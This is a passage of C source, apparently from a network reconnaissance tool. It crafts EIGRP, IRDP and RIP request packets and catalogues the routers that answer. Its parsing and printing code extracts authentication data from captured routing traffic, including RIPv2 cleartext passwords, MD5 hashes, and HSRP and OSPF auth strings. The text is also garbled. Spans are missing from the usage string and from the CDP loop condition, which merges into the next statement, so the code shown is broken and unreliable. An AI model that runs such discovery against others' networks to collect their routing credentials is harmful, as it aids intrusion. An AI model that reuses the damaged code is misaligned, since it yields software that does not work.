*psize=sizeof(iphdr_t)+sizeof(eigrp_t) +sizeof(eigrppara_t)+sizeof(eigrpsoft_t); tpacket=(u_char *)smalloc(*psize +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->protocol=IPPROTO_EIGRP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); if (dd==NULL) inet_aton(all_igrp,(struct in_addr *)&(iph->daddr)); else memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN); /* make up the IGRP header */ eigrph=(eigrp_t *)(tpacket+sizeof(iphdr_t)); eigrph->version=2; eigrph->opcode=EIGRP_HELLO; eigrph->as=htonl(autosys); epara=(eigrppara_t *)(tpacket+sizeof(iphdr_t)+sizeof(eigrp_t)); epara->type=htons(EIGRP_TYPE_PARA); epara->length=htons(sizeof(eigrppara_t)); epara->k1=epara->k3=1; epara->holdtime=htons(15); esoft=(eigrpsoft_t *)(tpacket+sizeof(iphdr_t) +sizeof(eigrp_t)+sizeof(eigrppara_t)); esoft->type=htons(EIGRP_TYPE_SOFT); esoft->length=htons(sizeof(eigrpsoft_t)); esoft->iosmaj=12; esoft->iosmin=2; esoft->eigrpmaj=1; esoft->eigrpmin=0; /* make up checksum */ cs=chksum((u_char *)eigrph,(*psize-sizeof(iphdr_t))); eigrph->checksum=cs; return tpacket; } /* constructs the IRDP request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_irdp_request(int *psize) { u_char *tpacket; iphdr_t *iph; irdp_solicitation_t *irdph; u_int16_t cs; /* checksum */ *psize=sizeof(irdp_solicitation_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(sizeof(irdp_solicitation_t)+sizeof(iphdr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->protocol=IPPROTO_ICMP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); /* make up the irdp_solicitation_t header */ irdph=(irdp_solicitation_t *)(tpacket+sizeof(iphdr_t)); irdph->type=ICMP_SOLICITATION; irdph->code=0; irdph->checksum=0; irdph->reserved=0; /* make up checksum */ cs=chksum((u_char *)irdph,(*psize-sizeof(iphdr_t))); irdph->checksum=cs; return tpacket; } /* constructs the RIP1 request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_rip_request(int *psize) { u_char *tpacket; iphdr_t *iph; udphdr_t *udp; ripv1hdr_t *rip; ripv1addr_t *ripaddr; *psize=sizeof(udphdr_t)+sizeof(iphdr_t)+ sizeof(ripv1hdr_t)+sizeof(ripv1addr_t); tpacket=(u_char *)smalloc(sizeof(udphdr_t)+sizeof(iphdr_t)+ sizeof(ripv1hdr_t)+sizeof(ripv1addr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->protocol=IPPROTO_UDP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); /* make up the UDP header */ udp=(udphdr_t *)(tpacket+sizeof(iphdr_t)); udp->sport=htons(RIP_PORT); udp->dport=htons(RIP_PORT); udp->length=htons(*psize-sizeof(iphdr_t)); /* make up the RIPv1 request */ rip=(ripv1hdr_t *)(tpacket+sizeof(iphdr_t)+sizeof(udphdr_t)); rip->command=RIP_COMMAND_REQUEST; rip->version=1; /* metric has to be 16 in a all-routes request */ ripaddr=(ripv1addr_t *)(tpacket+sizeof(iphdr_t)+sizeof(udphdr_t)+ sizeof(ripv1hdr_t)); ripaddr->metric=htonl(0x10); return tpacket; } /* constructs the RIP2 request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_rip2_request(int *psize) { u_char *tpacket; iphdr_t *iph; udphdr_t *udp; char all_rip2[]="224.0.0.9"; ripv2hdr_t *rip; ripv2addr_t *ripaddr; *psize=sizeof(udphdr_t)+sizeof(iphdr_t)+ sizeof(ripv2hdr_t)+sizeof(ripv2addr_t); tpacket=(u_char *)smalloc(sizeof(udphdr_t)+sizeof(iphdr_t)+ sizeof(ripv2hdr_t)+sizeof(ripv2addr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->protocol=IPPROTO_UDP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); if (!cfg.set_dest) inet_aton(all_rip2,(struct in_addr *)&(iph->daddr)); else memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); /* make up the UDP header */ udp=(udphdr_t *)(tpacket+sizeof(iphdr_t)); udp->sport=htons(RIP_PORT); udp->dport=htons(RIP_PORT); udp->length=htons(*psize-sizeof(iphdr_t)); /* make up the RIPv1 request */ rip=(ripv2hdr_t *)(tpacket+sizeof(iphdr_t)+sizeof(udphdr_t)); rip->command=RIP_COMMAND_REQUEST; rip->version=2; /* metric has to be 16 in a all-routes request */ ripaddr=(ripv2addr_t *)(tpacket+sizeof(iphdr_t)+sizeof(udphdr_t)+ sizeof(ripv2hdr_t)); ripaddr->metric=htonl(0x10); return tpacket; } void usage(char *n) { printf( "%s [-v[v[v]]] -i [-ApcMs] [-P IER12]\n" "\t[-a -b ]\n" "\t[-S ] [-D ]\n" "\t[-T ]\n" "\t[-r ]\n", n); exit (1); } int add_route(int rtype,struct in_addr *addr,unsigned int as,void *data) { /* For all routing protocols, the handling is as follows: * - look for an entry in the result_t list that has the same * address. If there is such an entry, use this. Otherwise * create one. * - For the particular protocol, check if the information is * already in there (based on fields depending on the protocol * such as the AS) and add the info in the tree as needed. * - CDP is different. It works the same way for devices running * CDP and IP - but devices not running IP (such as switches) * will be included as router 0.0.0.0. The CDP subtree looks for * the device name as key (Oops - this is what cisco did ;) * WARNING: variable "as" is used to transport the frame length * minus Ethernet,LLC and CdpHdr !!! */ result_t *current,*c2; RES_route_igrp_t *c_igrp; RES_route_irdp_t *c_irdp; RES_route_ripv1_t *c_rip; RES_route_ripv2_t *c_rip2; RES_route_eigrp_t *c_eigrp; RES_route_eigrprt_t *c_eigrpr; RES_route_hsrp_t *c_hsrp; RES_route_ospf_t *c_ospf; RES_cdp_info_t *c_cdp,*c2_cdp; igrp_system_entry_t *isys; irdp_rec_t *irdpr; ripv1addr_t *rip1a; ripv2addr_t *rip2a; ripv2auth_t *rip2auth; eigrpsoft_t *eigrps; eigrpextroute_t *eigrper; eigrpintroute_t *eigrpir; hsrp_t *hsrp; ospf_header_t *ospfh; ospf_hello_t *ospfl; cdp_generic_t *cdprec; u_int32_t temp; int i; current=anchor; c2=NULL; /* look for already exisiting one */ while (current!=NULL) { if (!memcmp(&(current->addr),addr,sizeof(struct in_addr))) break; c2=current; current=current->next; } /* if not existing, add one */ if (current==NULL) { current=smalloc(sizeof(result_t)); memcpy(&(current->addr),addr,sizeof(struct in_addr)); if (c2) c2->next=current; /* if it is the first, make it anchor */ if (anchor==NULL) anchor=current; } /* may be there are no routes in it ... */ if (rtype==0) return 0; switch (rtype) { case CAP_IGRP: /* add an IGRP route */ current->capa=current->capa|CAP_IGRP; isys=(igrp_system_entry_t *)data; if (current->igrp==NULL) { current->igrp=(RES_route_igrp_t *) smalloc(sizeof(RES_route_igrp_t)); c_igrp=current->igrp; } else { c_igrp=current->igrp; while (c_igrp!=NULL) { if ( (!memcmp(&(c_igrp->dest.s_addr), &(isys->destination),3)) && (c_igrp->as==as)) /* destination already known for this router */ return 1; c_igrp=c_igrp->next; } /* go to the last valid entry */ c_igrp=current->igrp; while (c_igrp->next!=NULL) c_igrp=c_igrp->next; c_igrp->next=(RES_route_igrp_t *) smalloc(sizeof(RES_route_igrp_t)); c_igrp=c_igrp->next; } /* at this point c_igrp points to an empty record */ if (data!=NULL) { memcpy(&(c_igrp->dest.s_addr),&(isys->destination),3); memset(&temp,0,sizeof(temp)); memcpy(((u_int8_t *)&temp)+1,&(isys->delay),3); c_igrp->delay=ntohl(temp); memset(&temp,0,sizeof(temp)); memcpy(((u_int8_t *)&temp)+1,&(isys->bandwith),3); c_igrp->bandw=ntohl(temp); c_igrp->mtu=ntohs(isys->mtu); c_igrp->reliability=isys->reliability; c_igrp->load=isys->load; c_igrp->hopcount=isys->hopcount; c_igrp->as=as; } break; /* * IRDP */ case CAP_IRDP: current->capa=current->capa|CAP_IRDP; irdpr=(irdp_rec_t *)data; if (current->irdp==NULL) { current->irdp=(RES_route_irdp_t *) smalloc(sizeof(RES_route_irdp_t)); c_irdp=current->irdp; } else { c_irdp=current->irdp; while (c_irdp!=NULL) { if (!memcmp(&(c_irdp->dest.s_addr), &(irdpr->addr),IP_ADDR_LEN)) /* destination already known for this router */ return 1; c_irdp=c_irdp->next; } /* go to the last valid entry */ c_irdp=current->irdp; while (c_irdp->next!=NULL) c_irdp=c_irdp->next; c_irdp->next=(RES_route_irdp_t *) smalloc(sizeof(RES_route_irdp_t)); c_irdp=c_irdp->next; } /* at this point c_irdp points to an empty record */ memcpy(&(c_irdp->dest.s_addr),&(irdpr->addr),IP_ADDR_LEN); c_irdp->preference=ntohl(irdpr->pref); break; /* * RIPv1 */ case CAP_RIPv1: current->capa=current->capa|CAP_RIPv1; rip1a=(ripv1addr_t *)data; if (current->rip1==NULL) { current->rip1=(RES_route_ripv1_t *) smalloc(sizeof(RES_route_ripv1_t)); c_rip=current->rip1; } else { c_rip=current->rip1; while (c_rip!=NULL) { if (!memcmp(&(c_rip->dest.s_addr), &(rip1a->address),IP_ADDR_LEN)) /* destination already known for this router */ return 1; c_rip=c_rip->next; } /* go to the last valid entry */ c_rip=current->rip1; while (c_rip->next!=NULL) c_rip=c_rip->next; c_rip->next=(RES_route_ripv1_t *) smalloc(sizeof(RES_route_ripv1_t)); c_rip=c_rip->next; } /* at this point c_rip points to an empty record */ memcpy(&(c_rip->dest.s_addr),&(rip1a->address),IP_ADDR_LEN); c_rip->metric=ntohl(rip1a->metric); break; /* * RIPv2 */ case CAP_RIPv2: current->capa=current->capa|CAP_RIPv2; rip2a=(ripv2addr_t *)data; if (current->rip2==NULL) { current->rip2=(RES_route_ripv2_t *) smalloc(sizeof(RES_route_ripv2_t)); c_rip2=current->rip2; } else { c_rip2=current->rip2; while (c_rip2!=NULL) { if (!memcmp(&(c_rip2->dest.s_addr), &(rip2a->address),IP_ADDR_LEN)) /* destination already known for this router */ return 1; c_rip2=c_rip2->next; } /* go to the last valid entry */ c_rip2=current->rip2; while (c_rip2->next!=NULL) c_rip2=c_rip2->next; c_rip2->next=(RES_route_ripv2_t *) smalloc(sizeof(RES_route_ripv2_t)); c_rip2=c_rip2->next; } /* at this point c_rip points to an empty record */ memcpy(&(c_rip2->dest.s_addr),&(rip2a->address),IP_ADDR_LEN); memcpy(&(c_rip2->mask.s_addr),&(rip2a->netmask),IP_ADDR_LEN); memcpy(&(c_rip2->nexthop.s_addr),&(rip2a->nexthop),IP_ADDR_LEN); c_rip2->metric=ntohl(rip2a->metric); c_rip2->routetag=ntohs(rip2a->routetag); break; /* * RIPv2 Authentication */ case CAP_RIPv2auth: current->capa=current->capa|CAP_RIPv2auth; rip2auth=(ripv2auth_t *)data; current->rip2auth_type=htons(rip2auth->authtype); memset(&(current->rip2pw),0,sizeof(current->rip2pw)); memcpy(&(current->rip2pw),&(rip2auth->auth),16); break; /* * EIGRP passive */ case CAP_EIGRP: current->capa=current->capa|CAP_EIGRP; eigrps=(eigrpsoft_t *)data; if (current->eigrp==NULL) { current->eigrp=(RES_route_eigrp_t *) smalloc(sizeof(RES_route_eigrp_t)); c_eigrp=current->eigrp; } else { c_eigrp=current->eigrp; while (c_eigrp!=NULL) { if (c_eigrp->as==as) /* autonomous system already known for this router */ return 1; c_eigrp=c_eigrp->next; } /* go to the last valid entry */ c_eigrp=current->eigrp; while (c_eigrp->next!=NULL) c_eigrp=c_eigrp->next; c_eigrp->next=(RES_route_eigrp_t *) smalloc(sizeof(RES_route_eigrp_t)); c_eigrp=c_eigrp->next; } /* at this point c_eigrp points to an empty record */ c_eigrp->as=as; if (eigrps!=NULL) { c_eigrp->ios_major=eigrps->iosmaj; c_eigrp->ios_minor=eigrps->iosmin; c_eigrp->eigrp_major=eigrps->eigrpmaj; c_eigrp->eigrp_minor=eigrps->eigrpmin; } break; /* * EIGRP active */ case CAP_EIGRP_RT: current->capa=current->capa|CAP_EIGRP_RT; /* could be both ... */ eigrpir=(eigrpintroute_t *)data; eigrper=(eigrpextroute_t *)data; if (current->eigrpr==NULL) { current->eigrpr=(RES_route_eigrprt_t *) smalloc(sizeof(RES_route_eigrprt_t)); c_eigrpr=current->eigrpr; } else { c_eigrpr=current->eigrpr; while (c_eigrpr!=NULL) { /* check the EIGRP type */ if (ntohs(eigrpir->type)==EIGRP_TYPE_IN_ROUTE) { if ((c_eigrpr->as==as) &&(!memcmp(&(c_eigrpr->dest.s_addr), &(eigrpir->dest), (int)(eigrpir->prefix_length/8))) &&(c_eigrpr->type==ntohs(eigrpir->type))) { /* autonomous system and destination * already known for this router */ return 1; } } else { if ((c_eigrpr->as==as) &&(!memcmp(&(c_eigrpr->dest.s_addr), &(eigrper->dest), (int)(eigrper->prefix_length/8))) &&(c_eigrpr->type==ntohs(eigrper->type))) { /* autonomous system and destination * already known for this router */ return 1; } } c_eigrpr=c_eigrpr->next; } /* go to the last valid entry */ c_eigrpr=current->eigrpr; while (c_eigrpr->next!=NULL) c_eigrpr=c_eigrpr->next; c_eigrpr->next=(RES_route_eigrprt_t *) smalloc(sizeof(RES_route_eigrprt_t)); c_eigrpr=c_eigrpr->next; } /* at this point c_eigrp points to an empty record */ c_eigrpr->as=as; c_eigrpr->type=ntohs(eigrpir->type); memcpy(&(c_eigrpr->nexthop),&(eigrper->nexthop),IP_ADDR_LEN); /* from here one, the packet format changes for external and * internal routes IP */ if (c_eigrpr->type==EIGRP_TYPE_EX_ROUTE) { /* external route */ memcpy(&(c_eigrpr->origrouter), &(eigrper->origrouter),IP_ADDR_LEN); c_eigrpr->origas=ntohl(eigrper->origas); c_eigrpr->externalmetric=ntohl(eigrper->external_metric); c_eigrpr->externallink=eigrper->external_link; c_eigrpr->delay=ntohl(eigrper->delay); c_eigrpr->bandwidth=ntohl(eigrper->bandwidth); memset(&temp,0,sizeof(temp)); memcpy(((u_int8_t *)&temp)+1,&(eigrper->mtu),3); c_eigrpr->mtu=ntohs(temp); c_eigrpr->hopcount=eigrper->hopcount; c_eigrpr->reliability=eigrper->reliability; c_eigrpr->load=eigrper->load; temp=0xFFFFFFFF; for (i=0;i<32-eigrper->prefix_length;i++) temp=temp<<1; temp=htonl(temp); memcpy(&(c_eigrpr->netmask),&temp,4); memcpy(&(c_eigrpr->dest),&(eigrper->dest), (int)(eigrper->prefix_length/8)); } else { /* internal route */ c_eigrpr->delay=ntohl(eigrpir->delay); c_eigrpr->bandwidth=ntohl(eigrpir->bandwidth); memset(&temp,0,sizeof(temp)); memcpy(((u_int8_t *)&temp)+1,&(eigrpir->mtu),3); c_eigrpr->mtu=ntohs(temp); c_eigrpr->hopcount=eigrpir->hopcount; c_eigrpr->reliability=eigrpir->reliability; c_eigrpr->load=eigrpir->load; temp=0xFFFFFFFF; for (i=0;i<32-eigrpir->prefix_length;i++) temp=temp<<1; temp=htonl(temp); memcpy(&(c_eigrpr->netmask),&temp,4); memcpy(&(c_eigrpr->dest),&(eigrpir->dest), (int)(eigrpir->prefix_length/8)); } break; /* * OSPF passive */ case CAP_OSPF: current->capa=current->capa|CAP_OSPF; if ((ospfh=(ospf_header_t *)data)==NULL) break; if (current->ospf==NULL) { current->ospf=(RES_route_ospf_t *) smalloc(sizeof(RES_route_ospf_t)); c_ospf=current->ospf; } else { c_ospf=current->ospf; while (c_ospf!=NULL) { if ( (!memcmp(&(c_ospf->area.s_addr),&(ospfh->area), IP_ADDR_LEN)) && (!memcmp(&(c_ospf->source.s_addr), &(ospfh->source),IP_ADDR_LEN)) ) /* area/source already known for this router */ return 1; c_ospf=c_ospf->next; } /* go to the last valid entry */ c_ospf=current->ospf; while (c_ospf->next!=NULL) c_ospf=c_ospf->next; c_ospf->next=(RES_route_ospf_t *) smalloc(sizeof(RES_route_ospf_t)); c_ospf=c_ospf->next; } /* at this point c_ospf points to an empty record */ if (ospfh!=NULL) { memcpy(&(c_ospf->source.s_addr),&(ospfh->source),IP_ADDR_LEN); memcpy(&(c_ospf->area.s_addr),&(ospfh->area),IP_ADDR_LEN); memcpy(&(c_ospf->authdata),&(ospfh->authdata),8); c_ospf->authtype=ntohs(ospfh->authtype); ospfl=(ospf_hello_t *)(data+sizeof(ospf_header_t)); memcpy(&(c_ospf->netmask.s_addr),&(ospfl->netmask),IP_ADDR_LEN); memcpy(&(c_ospf->designated.s_addr), &(ospfl->designated),IP_ADDR_LEN); memcpy(&(c_ospf->backup.s_addr),&(ospfl->backup),IP_ADDR_LEN); c_ospf->dead=ntohl(*((u_int32_t *)&(ospfl->dead_interval))); c_ospf->prio=ospfl->priority; c_ospf->hello=ntohs(ospfl->hello_interval); } break; /* * HSRP passive */ case CAP_HSRP: current->capa=current->capa|CAP_HSRP; hsrp=(hsrp_t *)data; if (current->hsrp==NULL) { current->hsrp=(RES_route_hsrp_t *) smalloc(sizeof(RES_route_hsrp_t)); c_hsrp=current->hsrp; } else { c_hsrp=current->hsrp; while (c_hsrp!=NULL) { if (!memcmp(&(c_hsrp->virtip.s_addr), &(hsrp->virtip),IP_ADDR_LEN)) /* virtual ip already known for this router */ return 1; c_hsrp=c_hsrp->next; } /* go to the last valid entry */ c_hsrp=current->hsrp; while (c_hsrp->next!=NULL) c_hsrp=c_hsrp->next; c_hsrp->next=(RES_route_hsrp_t *) smalloc(sizeof(RES_route_hsrp_t)); c_hsrp=c_hsrp->next; } /* at this point c_hsrp points to an empty record */ memcpy(&(c_hsrp->virtip.s_addr),hsrp->virtip,IP_ADDR_LEN); memset(&(c_hsrp->auth),0,sizeof(c_hsrp->auth)); memcpy(&(c_hsrp->auth),hsrp->auth,8); c_hsrp->version=hsrp->version; c_hsrp->state=hsrp->state; c_hsrp->hello=hsrp->hellotime; c_hsrp->hold=hsrp->holdtime; c_hsrp->group=hsrp->group; c_hsrp->prio=hsrp->prio; break; /* * CDP */ case CAP_CDP: c_cdp=(RES_cdp_info_t *)smalloc(sizeof(RES_cdp_info_t)); /* data should point to the first TLV record in the frame */ cdprec=(cdp_generic_t *)data; /* at CDP, we dissect the packet first and add it later */ do { if (cfg.verbose>2) printf("CDP add: type %u, length %u\n", ntohs(cdprec->type),ntohs(cdprec->length)); if (ntohs(cdprec->type)==TYPE_DEVICE_ID) { c_cdp->deviceid=(char*)smalloc(ntohs(cdprec->length)+1); memcpy(c_cdp->deviceid,&(cdprec->value), ntohs(cdprec->length)-4); } else if (ntohs(cdprec->type)==TYPE_PORT_ID) { c_cdp->portid=(char*)smalloc(ntohs(cdprec->length)+1); memcpy(c_cdp->portid,&(cdprec->value), ntohs(cdprec->length)-4); } else if (ntohs(cdprec->type)==TYPE_CAPABILITIES) { c_cdp->capas=(unsigned long) ntohl(*((u_int32_t *)&(cdprec->value))); } else if (ntohs(cdprec->type)==TYPE_IOS_VERSION) { c_cdp->software=(char*)smalloc(ntohs(cdprec->length)+1); memcpy(c_cdp->software,&(cdprec->value), ntohs(cdprec->length)-4); } else if (ntohs(cdprec->type)==TYPE_PLATFORM) { c_cdp->platform=(char*)smalloc(ntohs(cdprec->length)+1); memcpy(c_cdp->platform,&(cdprec->value), ntohs(cdprec->length)-4); } else if (ntohs(cdprec->type)==TYPE_VTP_MGMT) { c_cdp->vtpmgmt=(char*)smalloc(ntohs(cdprec->length)+1); memcpy(c_cdp->vtpmgmt,&(cdprec->value), ntohs(cdprec->length)-4); } else if (ntohs(cdprec->type)==TYPE_VLAN) { c_cdp->vlan=ntohs(*((u_int16_t*)&(cdprec->value))); } else if (ntohs(cdprec->type)==TYPE_DUPLEX) { c_cdp->duplex=(u_int8_t)cdprec->value; } else { if ((cfg.verbose>2) && (ntohs(cdprec->type)!=TYPE_ADDRESS)) { fprintf(stderr,"Unknown CDP type %u\n", ntohs(cdprec->type)); fprintf(stderr,"DUMP: %02X %02X %02X %02X %02X %02X\n", *((u_int8_t *)cdprec), *((u_int8_t *)cdprec+1), *((u_int8_t *)cdprec+2), *((u_int8_t *)cdprec+3), *((u_int8_t *)cdprec+4), *((u_int8_t *)cdprec+5)); } } cdprec=(cdp_generic_t *)((u_char*)cdprec+ntohs(cdprec->length)); /* printf("DEBUG: data = %p, cdprec = %p, cdprec-data = %u," " length = %u\n", data,(u_char *)cdprec,((u_char*)cdprec-(u_char*)data),as); */ } while ( ((u_char*)cdprec-(u_char*)data)capa=current->capa|CAP_CDP; if (current->cdp==NULL) { current->cdp=c_cdp; } else { c2_cdp=current->cdp; while (c2_cdp!=NULL) { if (c_cdp->deviceid!=NULL) { if (!strcmp(c2_cdp->deviceid,c_cdp->deviceid)){ // source already known for this device if (cfg.verbose>2) printf("CDP: Device %s" " alread known\n",c_cdp->deviceid); if (c_cdp->deviceid!=NULL) free(c_cdp->deviceid); if (c_cdp->portid!=NULL) free(c_cdp->portid); if (c_cdp->software!=NULL) free(c_cdp->software); if (c_cdp->platform!=NULL) free(c_cdp->platform); if (c_cdp->vtpmgmt!=NULL) free(c_cdp->vtpmgmt); free(c_cdp); return 1; } } c2_cdp=c2_cdp->next; } // go to the last valid entry c2_cdp=current->cdp; while (c2_cdp->next!=NULL) c2_cdp=c2_cdp->next; c2_cdp->next=c_cdp; } break; default: fprintf(stderr,"Well ... internal function called with " "bullshit argument. bad sign!\n"); exit(-15); } return 0; } void print_results(void) { result_t *current; RES_route_igrp_t *c_igrp; RES_route_irdp_t *c_irdp; RES_route_ripv1_t *c_rip1; RES_route_ripv2_t *c_rip2; RES_route_eigrp_t *c_eigrp; RES_route_eigrprt_t *c_eigrpr; RES_route_hsrp_t *c_hsrp; RES_route_ospf_t *c_ospf; RES_cdp_info_t *c_cdp; printf("\n\n>>>Results>>>\n"); current=anchor; while (current!=NULL) { printf("Router %15s\t(",inet_ntoa(current->addr)); /* capabilities */ if (current->capa&CAP_IGRP) printf("IGRP "); if (current->capa&CAP_IRDP) printf("IRDP "); if (current->capa&CAP_CDP) printf("CDP "); if (current->capa&CAP_RIPv1) printf("RIPv1 "); if (current->capa&CAP_RIPv2) printf("RIPv2 "); if (current->capa&CAP_EIGRP) printf("EIGRP "); if (current->capa&CAP_HSRP) printf("HSRP "); if (current->capa&CAP_OSPF) printf("OSPF "); printf(")\n"); /* CDP results */ c_cdp=current->cdp; while(c_cdp!=NULL) { printf("\tCDP [ n/a ] %17s %s\n","Device ID",c_cdp->deviceid); if (c_cdp->portid!=NULL); printf("\t%13s%17s %s\n"," ","Port ID",c_cdp->portid); if (c_cdp->platform!=NULL) printf("\t%13s%17s %s\n"," ","Platform",c_cdp->platform); if (c_cdp->vtpmgmt!=NULL) printf("\t%13s%17s %s\n"," ","VTP Mgmt",c_cdp->vtpmgmt); if ((c_cdp->capas&CDP_CAP_LEVEL3_ROUTER)!=0) printf("\t%13s%17s %s\n"," "," ","- Layer 3 Router"); if ((c_cdp->capas&CDP_CAP_LEVEL2_TRBR)!=0) printf("\t%13s%17s %s\n"," "," ","- Layer 2 Transparent Bridge"); if ((c_cdp->capas&CDP_CAP_LEVEL2_SRB)!=0) printf("\t%13s%17s %s\n"," "," ","- Layer 2 SrcRoute Bridge"); if ((c_cdp->capas&CDP_CAP_LEVEL2_SWITCH)!=0) printf("\t%13s%17s %s\n"," "," ","- Layer 2 Switch"); if ((c_cdp->capas&CDP_CAP_NETWORK_LAYER)!=0) printf("\t%13s%17s %s\n"," "," ","- Network Layer Protocols"); if ((c_cdp->capas&CDP_CAP_FORWARD_IGMP)!=0) printf("\t%13s%17s %s\n"," "," ","- Fwds IGMP to non-routers"); if ((c_cdp->capas&CDP_CAP_LEVEL1)!=0) printf("\t%13s%17s %s\n"," "," ","- Provides Level 1 funct"); if (c_cdp->vlan!=0) printf("\t%13s%17s %u\n"," ","Native VLAN",c_cdp->vlan); if (c_cdp->duplex==1) printf("\t%13s%17s %s\n"," ","Duplex","FULL"); else if (c_cdp->duplex==0) printf("\t%13s%17s %s\n"," ","Duplex","Half"); else printf("\t%13s%17s %u\n"," ","Duplex",c_cdp->duplex); if ((cfg.cdp_show_software)&&(c_cdp->software!=NULL)) printf("\t%13s%17s \n%s\n"," ","Software ID",c_cdp->software); c_cdp=c_cdp->next; } /* display all IGRP results */ c_igrp=current->igrp; while (c_igrp!=NULL) { printf("\tIGRP [%5d] %17s (",c_igrp->as, inet_ntoa(c_igrp->dest)); printf("%lu,%lu,%u,%u,%u,%u)\n", c_igrp->delay, c_igrp->bandw, c_igrp->mtu, c_igrp->reliability, c_igrp->load, c_igrp->hopcount); c_igrp=c_igrp->next; } /* display all IRDP results */ c_irdp=current->irdp; while (c_irdp!=NULL) { printf("\tIRDP [ n/a ] %17s (preference %lu)\n", inet_ntoa(c_irdp->dest),c_irdp->preference); c_irdp=c_irdp->next; } /* RIPv1 */ c_rip1=current->rip1; while (c_rip1!=NULL) { printf("\tRIP1 [ n/a ] %17s (metric %lu", inet_ntoa(c_rip1->dest),c_rip1->metric); if (c_rip1->metric==16) printf(" [unreachable])\n"); else printf(")\n"); c_rip1=c_rip1->next; } /* RIPv2 Authentication */ if (current->capa&CAP_RIPv2auth) { switch (current->rip2auth_type) { case RIP2AUTH_NONE: printf("\tRIP2 [ n/a ] %17s\n","no auth"); break; case RIP2AUTH_TEXT: printf("\tRIP2 [ n/a ] %17s ","text auth"); printf("(auth '%s')\n",current->rip2pw); break; case RIP2AUTH_MD5: printf("\tRIP2 [ n/a ] %17s ","md5 auth"); printf("(hash %02X%02X%02X%02X%02X%02X" "%02X%02X%02X%02X%02X%02X%02X" "%02X%02X%02X)\n", current->rip2pw[0]&0xFF, current->rip2pw[1]&0xFF, current->rip2pw[2]&0xFF, current->rip2pw[3]&0xFF, current->rip2pw[4]&0xFF, current->rip2pw[5]&0xFF, current->rip2pw[6]&0xFF, current->rip2pw[7]&0xFF, current->rip2pw[8]&0xFF, current->rip2pw[9]&0xFF, current->rip2pw[10]&0xFF, current->rip2pw[11]&0xFF, current->rip2pw[12]&0xFF, current->rip2pw[13]&0xFF, current->rip2pw[14]&0xFF, current->rip2pw[15]&0xFF); break; default: printf("\tRIP2 [ n/a ] %17s\n","unknown auth"); } } /* RIPv2 */ c_rip2=current->rip2; while (c_rip2!=NULL) { printf("\tRIP2 [ n/a ] %17s /",inet_ntoa(c_rip2->dest)); printf("%s, next: ",inet_ntoa(c_rip2->mask)); printf("%s\n",inet_ntoa(c_rip2->nexthop)); printf("\t%33s"," "); printf("(tag %u, mtr %lu",c_rip2->routetag,c_rip2->metric); if (c_rip2->metric==16) printf(" [unreachable])\n"); else printf(")\n"); c_rip2=c_rip2->next; } /* EIGRP */ c_eigrp=current->eigrp; while (c_eigrp!=NULL) { printf("\tEIGRP[%5lu] %17s (IOS %u.%u, EIGRP %u.%u)\n", c_eigrp->as,"",c_eigrp->ios_major,c_eigrp->ios_minor, c_eigrp->eigrp_major, c_eigrp->eigrp_minor); c_eigrp=c_eigrp->next; } /* EIGRP Routes*/ c_eigrpr=current->eigrpr; while (c_eigrpr!=NULL) { printf("\tEIGRP[%5lu] %17s ", c_eigrpr->as,inet_ntoa(c_eigrpr->dest)); printf("/%s, next hop: ",inet_ntoa(c_eigrpr->netmask)); printf("%s\n",inet_ntoa(c_eigrpr->nexthop)); if (c_eigrpr->type==EIGRP_TYPE_EX_ROUTE) { printf("\t%13s%17s "," ","external"); printf("(%s,%lu,%lu,",inet_ntoa(c_eigrpr->origrouter), c_eigrpr->origas,c_eigrpr->externalmetric); switch (c_eigrpr->externallink) { case 1: printf("from IGRP)"); break; case 2: printf("from EIGRP)"); break; case 3: printf("from Static Routing)"); break; case 4: printf("from RIP)"); break; case 5: printf("from Hello)"); break; case 6: printf("from OSPF)"); break; case 7: printf("from IS-IS)"); break; case 8: printf("from EGP)"); break; case 9: printf("from BGP)"); break; case 10: printf("from IDRP)"); break; case 11: printf("Connected Link)"); break; default: printf("LINK UNKNOWN)"); } printf("\n\t%32s"," "); } else { printf("\t%13s%17s "," ","internal"); } //printf("\t%32s(%lu,%lu,%lu,%u,%u,%u)\n"," ", printf("(%lu,%lu,%lu,%u,%u,%u)\n", c_eigrpr->delay, c_eigrpr->bandwidth, c_eigrpr->mtu, c_eigrpr->reliability, c_eigrpr->load, c_eigrpr->hopcount); c_eigrpr=c_eigrpr->next; } /* HSRP */ c_hsrp=current->hsrp; while (c_hsrp!=NULL) { printf("\tHSRP [%5u] %17s (", c_hsrp->group,inet_ntoa(c_hsrp->virtip)); switch (c_hsrp->state) { case HSRP_STATE_INITIAL:printf("Initial,"); break; case HSRP_STATE_LEARN: printf("Learn,"); break; case HSRP_STATE_LISTEN: printf("Listen,"); break; case HSRP_STATE_SPEAK: printf("Speak,"); break; case HSRP_STATE_STANDBY:printf("Standby,"); break; case 